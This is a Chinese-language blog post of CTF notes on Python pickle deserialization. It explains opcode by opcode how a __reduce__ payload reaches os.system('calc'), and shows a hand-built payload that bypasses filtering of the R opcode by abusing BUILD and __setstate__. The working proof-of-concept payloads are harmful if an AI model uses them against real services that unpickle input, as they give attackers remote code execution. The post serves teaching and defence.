0%

出题笔记:python反序列化

 早上整理了一下不知道几百年前收藏的笔记, 正好看到python的pickle反序列化了, 顺手出了道题留以后用.
 本文是对于这篇文章的复现

先不扯原理

 简单来说python的pickle在反序列化的时候会执行源序列化对象的__reduce__()方法, 类似于php的__wakeup()方法. 但是在python中不同的是你可以在序列化后的文件中修改__reduce__()方法执行的函数. 比如说把__reduce__()执行的函数改为os.system('calc') . 写了__reduce__()方法后, 你甚至可以无中生有的反序列化上下文中不存在的类的对象.
 也就是说不管初始的上下文有什么东西, 只要对我们提交的反序列化文件或者字符串没过滤, 我们就能让目标RCE
egI:

1
2
3
4
5
6
7
8
9
10
import pickle
import os
class note:
def __reduce__(self):
return (os.system,('calc',))
a=note()
data=pickle.dumps(a,protocol=0)
print(data)
# output:
# b'cnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'

上述代码生成了一个可以让Windows弹计算器的payload,只要这个payload被pickle.loads()方法反序列化的时候就会触发。
egII:
1
2
3
import pickle
data=b'cnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'
pickle.loads(data)

那么,为什么呢

 想知道为啥RCE就得知道pickle都干了啥。

pickle.loads()的时候发生了什么

pickle.loads()本质上是把给入的字符串或者文件拆成一条条指令然后执行。用pickletools库可以更好的帮助我们看懂是怎么拆分的。
egIII:

1
2
3
4
5
6
7
8
9
10
11
import pickle
import pickletools
import os
class note:
def __reduce__(self):
return (os.system,('calc',))
a=note()
data=pickle.dumps(a,protocol=0)
data=pickletools.optimize(data)
print('payload:',data,'\n-----------')
pickletools.dis(data)

 为了方便阅读,这里用pickletools.optimize()优化一下代码,功能还是不变的。
输出如下:
1
2
3
4
5
6
7
8
9
payload: b'cnt\nsystem\n(Vcalc\ntR.' 
-----------
0: c GLOBAL 'nt system'
11: ( MARK
12: V UNICODE 'calc'
18: t TUPLE (MARK at 11)
19: R REDUCE
20: . STOP
highest protocol among opcodes = 0

 这就是上面的payload拆出来的每条代码,pickle.loads()的时候会从最开始一直执行下去。
 跑去读了下源码, pickle维护了两个栈, stack和metaStack. 不停的操作两个栈规约元素, 直到剩余的元素可被接受. 编译原理里学过但是记不清了, 果然面向考试学习是真的8行.
 第0行对应的字符是c,在pickle里的指令是GLOBAL,当pickle读到这个字符的时候会继续往后读两个由换行符分割的字符串module和name,这里是nt和system,然后把module.name压入栈
1
2
3
|--stack--|
|nt.system|
|---------|

 接下来是(, MARK操作, 把stack作为一个list存入metaStack, 然后清空stack. 类似于汇编中的push ebp; mov ebp,esp; sub esp,xxx暂存环境然后开辟新的栈空间.
1
2
3
4
|--metaStack--|
|-------------|
|-[nt.system]-|
|-------------|

 再往下, 是V. 对应的操作是向当前栈中压入一个字符串, 以空格作为分割. 对于现在的代码来说是压入了calc
1
2
3
4
5
6
7
8
9
|--stack--|
|---------|
|--'calc'-|
|---------|

|--metaStack--|
|-------------|
|-[nt.system]-|
|-------------|

 接着遇到的是t, 把stack里的东西全弹到item变量里, 然后把metaStack的栈顶弹出来作为当前栈, 再把item元组化后压入当前栈.
1
2
3
4
|--stack--|
|('calc')-|
|nt.system|
|---------|

 最后就是__reduce__()的灵魂了, R操作. pickle会从栈里弹出两个元素, 分别记为func和args, 然后执行func(*args). 最后再把结果压栈. 在这里就是执行了nt.system('calc')表现出来就是弹计算器了. 最后的’.’则是pickle的结束标志, 读到’.’就会弹出栈顶元素然后结束.

更一般的情况

 一个正常一点的反序列化字符串更类似于下面这种:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import pickletools
class note:
def __init__(self):
self.title='NEUQCSA'
self.content="WXYNB!!"
a=note()
data=pickle.dumps(a)
data=pickletools.optimize(data)
print('payload:',data)
pickle.loads(data)
print('dump:\n')
pickletools.dis(data)

输出:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload: b'\x80\x03c__main__\nnote\n)\x81}(X\x05\x00\x00\x00titleX\x07\x00\x00\x00NEUQCSAX\x07\x00\x00\x00contentX\x07\x00\x00\x00WXYNB!!ub.'
dump:

0: \x80 PROTO 3
2: c GLOBAL '__main__ note'
17: ) EMPTY_TUPLE
18: \x81 NEWOBJ
19: } EMPTY_DICT
20: ( MARK
21: X BINUNICODE 'title'
31: X BINUNICODE 'NEUQCSA'
43: X BINUNICODE 'content'
55: X BINUNICODE 'WXYNB!!'
67: u SETITEMS (MARK at 20)
68: b BUILD
69: . STOP
highest protocol among opcodes = 2

 0号版本以上的反序列化一般是不会出现R这个指令的. 最开始的一行是当前序列化遵守的版本号.
 这里多了几个操作, ‘)’操作, 向stack里压入一个空的元组’()’; ‘}’压入一个空的字典’{}’; ‘\x81’是从栈里弹出两个元素args和cls, 然后执行cls.__new__(cls, *args). 说人话就是用栈顶的俩东西新建一个对象.
 ’u’操作, 把当前栈全弹到item变量里, 然后用metaStack栈顶的元素代替stack, 接着把item从上往下每2个元素组成一个key-value对构造字典, 再用字典替换stack的栈顶.
 ’b’操作: 从栈里弹两个元素state和inst. 如果inst里有__setstate__, 则执行__setstate__(state) 否则就直接把state合并到inst里面去.
 就拿上面的来举例子, 我画了张图:

对应的是上面的例子里关键行的栈结构.

不用__reduce__的情况

 到现在我们知道了, 使用__reduce__可以造成RCE, 但是__reduce__的特征十分明显, payload里面会有R指令, 如果目标针对指令进行过滤就没辙了. 但RCE岂是如此不便之物, 不用__reduce__也是有办法执行命令的.
 在最开始的c命令的时候, 我们能够取到任意一个对象, 那么取到os.system也是可以的. 然后在后面的b命令的位置, 如果目标对象有__setstate__()方法就会执行这个方法, 否则只会把字典合并进去. 但是b命令之后pickle并不会退出, 也就是说我们可以执行任意次b命令.
 那么我们可以精心构造序列, 让pickle先build一次, 在目标对象里创造一个__setstate__=os.system, 然后第二次build 的时候让栈里是'calc'这样就执行了os.system('calc').
例子:

1
2
3
4
5
import pickle
import pickletools
data=b'\x80\x03c__main__\nnote\n)\x81}(X\x0c\x00\x00\x00__setstate__cnt\nsystem\nubX\x04\x00\x00\x00calcb.'
pickletools.dis(data)
pickle.loads(data)


输出:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
    0: \x80 PROTO      3
2: c GLOBAL '__main__ note'
17: ) EMPTY_TUPLE
18: \x81 NEWOBJ
19: } EMPTY_DICT
20: ( MARK
21: X BINUNICODE '__setstate__'
38: c GLOBAL 'nt system'
49: u SETITEMS (MARK at 20)
50: b BUILD
51: X BINUNICODE 'calc'
60: b BUILD
61: . STOP
highest protocol among opcodes = 2

 和预期一样, 成功弹计算器

总结

 只要能够控制pickle的反序列化文件就能rce, 因为不管怎么过滤, 只要不过滤b命令我们就能rce. 但如果b命令被过滤了pickle也就失去了原本的功能.
 以后开发的时候切记千万不能给用户反序列化自定义文件的机会.
 顺便pickle的源码写的真是妙.

Reference